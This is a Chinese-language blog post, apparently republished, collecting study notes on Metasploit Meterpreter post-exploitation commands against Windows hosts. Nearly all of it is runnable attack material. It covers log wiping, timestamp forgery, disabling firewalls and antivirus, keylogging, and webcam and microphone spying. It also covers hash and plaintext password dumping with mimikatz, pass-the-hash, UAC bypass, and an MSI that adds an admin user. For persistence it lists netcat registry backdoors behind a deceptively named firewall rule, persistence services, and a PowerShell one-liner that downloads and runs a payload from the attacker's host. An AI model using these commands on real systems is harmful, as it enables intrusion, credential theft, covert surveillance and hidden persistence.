Meterpreter学习笔记&汇总

admin 2021年12月31日03:56:00Meterpreter学习笔记&汇总已关闭评论139 views字数 10211阅读34分2秒阅读模式

meterpreter学习笔记及命令汇总

本文主要讲解meterpreter一些常用命令的汇总,纯属个人笔记汇总,望大佬们不喜勿喷。

系统命令

background # 将当前会话放置后台
sessions # sessions –h 查看帮助
sessions -i <ID 值> #进入会话 -k 杀死会话
bgrun / run # 执行已有的模块,输入 run 后按两下 tab,列出已有的脚本
info # 查看已有模块信息
getuid # 查看当前用户身份
getprivs # 查看当前用户具备的权限
getpid # 获取当前进程 ID(PID)
sysinfo # 查看目标机系统信息
irb # 开启 ruby 终端
ps # 查看正在运行的进程
kill <PID 值> # 杀死指定 PID 进程
idletime # 查看目标机闲置时间
reboot / shutdown # 重启/关机
shell # 进入目标机 cmd shell

Meterpreter学习笔记&汇总

常用 cmd 命令

whoami # 当前权限
quser # 查询当前在线的管理员
net user # 查看存在用户
net user 用户名 密码 /add # 添加用户和对应密码
net localgroup 用户组名 用户名 /add # 将指定用户添加到指定用户组
netstat -ano # 查询当前计算机中网络连接通信情况,LISTENING 表示该端口处于监听状态;ESTABLISHED 表示该端口处于工作(通信)状态
systeminfo # 查看当前计算机中的详细情况
tasklist /svc # 查看每个进程所对应的服务
taskkill /f /im 程序名称 # 结束某个指定名称的程序
taskkill /f /PID ID # 结束某个指定 PID 的进程
tasklist | findstr "字符串" # 查找输出结果中指定的内容
logoff # 注销某个指定用户的 ID
shutdown -r # 重启当前计算机
netsh adcfirewall set allprofiles state off # 关闭防火墙

Meterpreter学习笔记&汇总

uictl 开关键盘/鼠标

uictl [enable/disable] [keyboard/mouse/all] # 开启或禁止键盘/鼠标
uictl disable mouse # 禁用鼠标
uictl disable keyboard # 禁用键盘

Meterpreter学习笔记&汇总

execute 执行文件

`````
execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程 cmd.exe,-H 不可见,-i 交互
execute -H -m -d notepad.exe -f payload.exe -a "-o hack.txt"

-d 在目标主机执行时显示的进程名称(用以伪装)-m 直接从内存中执行

"-o hack.txt"是 payload.exe 的运行参数
`````

Meterpreter学习笔记&汇总

clearav 清除日志

clearav # 清除 windows 中的应用程序日志、系统日志、安全日志

Meterpreter学习笔记&汇总

文件系统命令

基本文件系统命令

ls # 列出当前目录中的文件列表
cd # 进入指定目录
getwd / pwd # 查看当前工作目录
search -d c:\ -f *.txt # 搜索文件 -d 目录 -f 文件名
cat c:\123.txt # 查看文件内容
upload /tmp/hack.txt C:\ # 上传文件到目标机上
download c:\123.txt /tmp/ # 下载文件到本机上
edit c:\test.txt # 编辑或创建文件 没有的话,会新建文件
rm C:\hack.txt # 删除文件
mkdir admin # 只能在当前目录下创建文件夹
rmdir admin # 只能删除当前目录下文件夹
getlwd / lpwd # 查看本地当前目录
lcd /tmp # 切换本地目录

Meterpreter学习笔记&汇总

timestomp 伪造时间戳

timestomp C:\ -h #查看帮助
timestomp -v C:\2.txt #查看时间戳
timestomp C:\2.txt -f C:\1.txt #将 1.txt 的时间戳复制给 2.txt
timestomp c:\test\22.txt -z "03/10/2019 11:55:55" -v # 把四个属性设置为统一时间

Meterpreter学习笔记&汇总

网络命令

ipconfig/ifconfig # 查看网络接口信息
netstat –ano # 查看网络连接状态
arp # 查看 arp 缓冲表
getproxy # 查看代理信息
route # 查看路由表信息

portfwd 端口转发

``````
portfwd add -l 1234 -p 3389 -r 127.0.0.1

将目标机的 3389 端口转发到本地 1234 端口

rdesktop 127.0.0.1:1234 # 需要输入用户名密码连接
rdesktop -u Administrator -p P@ssw0rd 127.0.0.1:1234 # -u 用户名 -p 密码
``````

Meterpreter学习笔记&汇总

Meterpreter学习笔记&汇总

autoroute 添加路由

参考 https://www.anquanke.com/post/id/86505

run autoroute -h # 查看帮助
run get_local_subnets # 查看目标内网网段地址
run autoroute -s 192.168.183.0/24 # 添加目标网段路由
run autoroute -p # 查看添加的路由

Meterpreter学习笔记&汇总

利用 arp_scanner、portscan 等进行扫描

run post/windows/gather/arp_scanner RHOSTS=192.168.183.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.183.146 PORTS=3389

Meterpreter学习笔记&汇总

Meterpreter学习笔记&汇总

Socks 代理

只有在目标设备添加完路由后才可以通过 msf 自带的 socks4a 模块进行 socks4 代理转发

use auxiliary/server/socks4a
set srvhost 127.0.0.1
set srvport 2000
run

Meterpreter学习笔记&汇总

然后 vim /etc/proxychains.conf ,在文件末尾添加 socks4 代理服务器

Meterpreter学习笔记&汇总

使用 proxychains 代理访问执行 nmap 操作

proxychains nmap -sV -p 445 --script=smb-vuln-ms17-010.nse 192.168.183.146 # 扫描永恒之蓝漏洞
proxychains hydra 192.168.183.146 rdp -l administrator -P password.txt -V # rdp 服务暴力破解

Meterpreter学习笔记&汇总

Meterpreter学习笔记&汇总

信息收集

常用脚本

run arp_scanner -r 192.168.183.1/24 # 利用 arp 进行存活主机扫描
run winenum # 自动化执行一些检测脚本
run credcollect # 获取用户 hash
run domain_list_gen # 获取域管理账户列表
run post/multi/gather/env # 获取用户环境变量
run post/windows/gather/enum_logged_on_users -c # 列出当前登录用户
run post/linux/gather/checkvm # 是否虚拟机
run post/windows/gather/checkvm # 是否虚拟机
run post/windows/gather/forensics/enum_drives # 查看存储器信息
run post/windows/gather/enum_applications # 获取安装软件信息
run post/windows/gather/dumplinks # 获取最近访问过的文档、链接信息
run post/windows/gather/enum_ie # 获取 IE 缓存
run post/windows/gather/enum_firefox # 获取 firefox 缓存
run post/windows/gather/enum_chrome # 获取 Chrome 缓存
run post/multi/recon/local_exploit_suggester # 获取本地提权漏洞
run post/windows/gather/enum_patches # 获取补丁信息
run post/windows/gather/enum_domain # 查找域控
run post/windows/gather/enum_snmp # 获取 snmp 团体名称
run post/windows/gather/credentials/vnc # 获取 vnc 密码
run post/windows/wlan/wlan_profile # 用于读取目标主机 WiFi 密码
run post/multi/gather/wlan_geolocate # 基于 wlan 进行地理位置确认 文件位于/root/.msf4/loot
run post/windows/manage/killav 关闭杀毒软件

Meterpreter学习笔记&汇总

Meterpreter学习笔记&汇总

Meterpreter学习笔记&汇总

Meterpreter学习笔记&汇总

常用的破解模块

auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
auxiliary/scanner/ftp/anonymous

键盘记录

keyscan_start # 开始键盘记录
keyscan_dump # 导出记录数据
keyscan_stop # 结束键盘记录

Meterpreter学习笔记&汇总

sniffer 抓包

use sniffer
sniffer_interfaces # 查看网卡
sniffer_start 1 # 选择网卡 1 开始抓包
sniffer_stats 1 # 查看网卡 1 状态
sniffer_dump 1 /tmp/wlan1.pcap # 导出 pcap 数据包
sniffer_stop 1 # 停止网卡 1 抓包
sniffer_release 1 # 释放网卡 1 流量

窃取令牌

Meterpreter学习笔记&汇总

steal_token <pid 值> # 从指定进程中窃取 token
drop_token # 停止假冒当前的 token

Meterpreter学习笔记&汇总

网络摄像头

record_mic # 音频录制
webcam_chat # 开启视频聊天(对方有弹窗)
webcam_list # 查看摄像头
webcam_snap # 通过摄像头拍照
webcam_stream # 通过摄像头开启视频监控(以网页形式进行监控直播)

截屏

截屏
screenshot # 截屏
use espia # 使用 espia 模块
screengrab # 截屏

提权

getsystem 提权
利用 getsystem 命令提权,该命令会自动寻找各种可能的提权技术来使得用户将权限提升到更高的级别。

getsystem 提权
getuid 查看已获得权限

enum_patches 模块

利用 enum_patches 模块搜集补丁信息,然后寻找可利用的 exploits 进行提权。

run post/windows/gather/enum_patches #查看补丁信息
background
search MS10-015
use exploit/windows/local/ms10_015_kitrap0d
set session 8
run

Meterpreter学习笔记&汇总

绕过 UAC 提权

msf 内置一些 bypassuac 脚本,原理不同,使用方法类似,执行后返回一个新的会话,再次执行 getsystem 即可提权

exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_injection_winsxs
exploit/windows/local/bypassuac_silentcleanup
exploit/windows/local/bypassuac_vbs

使用命令 getsystem 提权失败,然后利用 bypassuac 来提权,这里利用 exploit/windows/local/bypassuac 模块(32 位、64 位都有效)

backgroup
use exploit/windows/local/bypassuac
set session 1
run

Meterpreter学习笔记&汇总

使用 RunAs 提权

该方法利用 exploit/windows/local/ask 模块(32 位、64 位都有效),创建一个可执行文件并在目标机上发起一个提升权限请求的
程序,触发系统 UAC,提示用户是否要继续,如果用户选择“是”,则会返回一个高权限的 meterpreter shell。

use exploit/windows/local/ask
set filename update.exe # 设置反弹程序名称
set session 1
run

输入 run 命令以后会在目标机上弹出 UAC,提示用户是否允许,选择是就会返回一个高权限的 meterpreter shell

Meterpreter学习笔记&汇总

注意事项:
使用 RunAs 模块进行提权时,系统当前用户须在管理员组或者知道管理员的密码,用户账户控制程序 UAC 设置则没有要求。
使用 RunAs 模块进行提权时,会创建一个可执行文件,为了避免给杀毒软件查杀,该可执行文件(需进行免杀处理)的创建要使用 EXE::Custom 选项。

假冒令牌提权

令牌是系统临时密钥,它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统重新启动。一般有两种类型的令牌,一种是 Delegation Tokens,也就是授权令牌,它支持交互式登录(例如远程桌面登陆登录)。还有一种是 Impersonation Tokens,也就是模拟令牌,它是非交互的会话(例如访问文件共享)。

use incognito # 加载窃取令牌模块
list_tokens -u # 查看可用的用户令牌
list_tokens -g # 查看可用的用户组令牌
impersonate_token 'NT AUTHORITYSYSTEM' # 假冒 SYSTEM token
rev2self #返回原始 token

Meterpreter学习笔记&汇总

利用 AlwaysInstallElevated 提权

AlwaysInstallElevated 是一个策略设置。微软允许非授权用户以 SYSTEM 权限运行安装文件(MSI),如果用户启用此策略设置,那么黑客利用恶意的 MSI 文件就可以进行管理员权限的提升。

查看 AlwaysInstallElevated 是否被定义

不过利用此方法有个前提条件,需要有两个注册表的键值为 1,我们可以在 cmdshell 下查看 AlwaysInstallElevated 是否被定义

reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevate

Meterpreter学习笔记&汇总

如上图所示已经开启 AlwaysInstallElevated,如果在组策略里未定义 AlwaysInstallElevated,则会出现“错误: 系统找不到指定的注册表项或值”的提示,如下图所示:

Meterpreter学习笔记&汇总

如果需要开启可以选择以下方法:
1.打开组策略编辑器(运行框输入 gpedit.msc)
2.组策略->计算机配置->管理模版->Windows 组件->Windows Installer->永远以高特权进行安装:选择启用
3.组策略->用户配置->管理模版->Windows 组件->Windows Installer->永远以高特权进行安装:选择启用

Meterpreter学习笔记&汇总

设置完成后对应注册表的位置值会设为 1,开启 AlwaysInstallElevated。

生成 MSI 安装文件

利用 msfvenom 命令生成一个在目标机上增加管理员用户的 MSI 安装文件,这里密码要设置为强密码,否则会报错。

msfvenom -p windows/adduser USER=msi PASS=Abc123@@ -f msi -o msi.msi

上传并执行 MSI 文件

upload msi.msi c:\Users\test # 部分目录由于权限原因可能上传失败
msiexec /quiet /qn /i msi.msi # /quiet=安装过程中禁止向用户发送消息 /qn=不使用图形界面 /i=安装程序
net localgroup administrators

执行成功后查看管理员组发现用户已经添加成功

Meterpreter学习笔记&汇总

注意:
由于是 msf 生成的 msi 文件,所以默认会被杀毒软件拦截,需要做好免杀。

窃取 hash 及密码&哈希传递

窃取 hash 及密码

hashdump
run post/windows/gather/smart_hashdump

得到的 hash 可以拿去 https://cmd5.com/ 解密一下即是用户密码

或者ophrack进行解密

mimikatz

``````
msf5:
load mimikatz # 加载 mimikatz 模块
msv # 获取用户和 hash 值
kerberos # 获取内存中的明文密码信息
wdigest # 获取内存中的明文密码信息
mimikatz_command -f a:: # 需要以错误的模块来让正确的模块显示
mimikatz_command -f sekurlsa::searchPasswords # 获取用户密码
mimikatz_command -f samdump::hashes # 执行用户 hash

msf6:
load kiwi
creds_all
kiwi_cmd sekurlsa::logonpasswords
``````

Meterpreter学习笔记&汇总

哈希传递

利用 hashdump 得到用户的 hash 后可利用 psexec 模块进行哈希传递攻击。
使用 psexec 的前提:SMB 服务必须开启,也就是开启 445 端口;Admin$可以访问

use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.183.147
set LPORT 443
set RHOST 192.168.183.154
set SMBUSER Administrator
set SMBPASS ccf**4ee:3db**678
set SMBDOMAIN WORKGROUP # 域用户需要设置 SMBDOMAIN
run

RDP

getgui 命令

run getgui –h # 查看帮助
run getgui -e # 开启远程桌面
run getgui -u admin -p admin # 添加用户
run getgui -f 6666 -e # 3389 端口转发到 6666
rdesktop 127.0.0.1:6666

enable_rdp 脚本

通过 enable_rdp 脚本将用户添加到远程桌面用户组和管理员用户组

run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=admin PASSWORD=admin # 添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6667 # 将 3389 端口转发到 666

远程桌面

enumdesktops # 查看可用的桌面
getdesktop # 获取当前 meterpreter 关联的桌面
setdesktop # 设置 meterpreter 关联的桌面 -h 查看帮助
run vnc # 使用 vnc 远程桌面连接
rdesktop 127.0.0.1:1111 # 需要输入用户名密码连接
rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用户名 -p 密码

注册表操作

注册表基本命令

reg –h # 查看帮助
-k 注册表的路径 -v 键的名称 -d 键值
reg enumkey [-k <key>] # 枚举注册表的内容
reg createkey [-k <key>] # 创建注册表项
reg deletekey [-k <key>] # 删除注册表项
reg setval [-k <key> -v <val> -d <data>] # 在注册表里添加内容
reg deleteval [-k <key> -v <val>] # 删除注册表的值
reg queryval [-k <key> -v <val>] # 查询注册表的值

利用注册表添加 nc 后门

upload /usr/share/windows-binaries/nc.exe C:\windows\system32 # 上传 nc 到目标主机
reg enumkey -k HKLM\software\microsoft\windows\currentversion\run # 枚举注册表 run 下的键值
reg setval -k HKLM\software\microsoft\windows\currentversion\run -v test_nc -d 'C:windowssystem32nc.exe -Ldp 443
-e cmd.exe' # 设置键值 -v 键的名称 -d 键值
reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v test_nc # 查看 test_nc 的键值

Meterpreter学习笔记&汇总

2.设置防火墙允许通过 443 端口(如果目标主机开启防火墙,没有设置相应的规则可能会导致连接失败。)

shell
netsh firewall show opmode # 查看防火墙状态
netsh firewall add portopening TCP 443 "网络发现(Pub PSD-Out)" ENABLE ALL # 添加防火墙的规则允许 443 端口通过(这里“网络发现
(Pub PSD-Out)”是规则名称,目的是为了迷惑管理员。)

3.待目标主机重启后,自启 nc 程序,然后我们利用 nc 连接即

Meterpreter学习笔记&汇总

后门植入

在我们通过漏洞获取到目标主机权限之后,如果目标主机主机重启亦或是管理员发现并修补了漏洞,那么我们就会失去对服务器的控制权,所以我们需要通过植入后门来维持权限,前面说的 nc 后门就是其中一种,另外一般还有 Persistence 和 Metsvc

Persistence(通过启动项安装)

run persistence –h # 查看帮助
run persistence -X -i 5 -p 3333 -r 本地IP
run persistence -U -i 5 -p 3333 -r 本地IP -L c:\Windows\System32
-X:设置后门在系统启动后自启动。该方式会在 HKLMSoftwareMicrosoftWindowsCurrentVersionRun 下添加注册表信息。由于权限原因会导
致添加失败,后门无法启动。因此在非管理员权限下,不推荐使用该参数
-U:设置后门在用户登录后自启动。该方式会在 HKCUSoftwareMicrosoftWindowsCurrentVersionRun 下添加注册表信息
-L:后门传到远程主机的位置默认为%TEMP%
-i:设置反向连接间隔时间为 5 秒
-p:设置反向连接的端口号
-r:设置反向连接的 ip 地址

Meterpreter学习笔记&汇总

Meterpreter学习笔记&汇总

靶机被成功植入后门

Meterpreter学习笔记&汇总

cmd
backgroup
use exploit/multi/handler
set lhost 172.16.10.197
set lport 4444
set paylod windows/meterpreter/reverse_tcp
exploit 成功获得shell

Meterpreter学习笔记&汇总

Metsvc(通过服务安装)一句话需要权限

```````cmd
run metsvc -h # 查看帮助
run metsvc -A # 自动安装后门
run metsvc -r # 删除后门

连接后门
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set rhost 192.168.183.169
set lport 31337
run
```````

Powershell 后门

cmd
use exploit/multi/script/web_delivery
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.183.147
set LPORT 2334
set srvport 2333
set uripath /
set target 5
run
在目标设备 cmd 上执行以下命令即可反弹
powershell.exe -nop -w hidden -c $z="echo ($env:temp+'eJedcsJE.exe')"; (new-object
System.Net.WebClient).DownloadFile('http://192.168.183.147:2333/', $z); invoke-item $z

相关推荐: Vulnerability Guide - 文件上传漏洞

0x0a 基础 一、思路: 危害+原因+利用+修复+讲解(例题分析) 二、危害: 利用上传的恶意文件可以对整个网站的服务器进行控制,上传webshell脚本后门 三、常见语言和函数 语言:文件包含漏洞在php web application中居多 而在JSP,…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日03:56:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Meterpreter学习笔记&汇总https://cn-sec.com/archives/692027.html